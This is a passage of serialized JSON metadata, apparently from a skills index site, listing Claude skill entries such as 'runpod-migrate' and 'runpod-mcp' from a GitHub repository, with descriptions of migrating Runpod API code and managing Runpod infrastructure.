paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]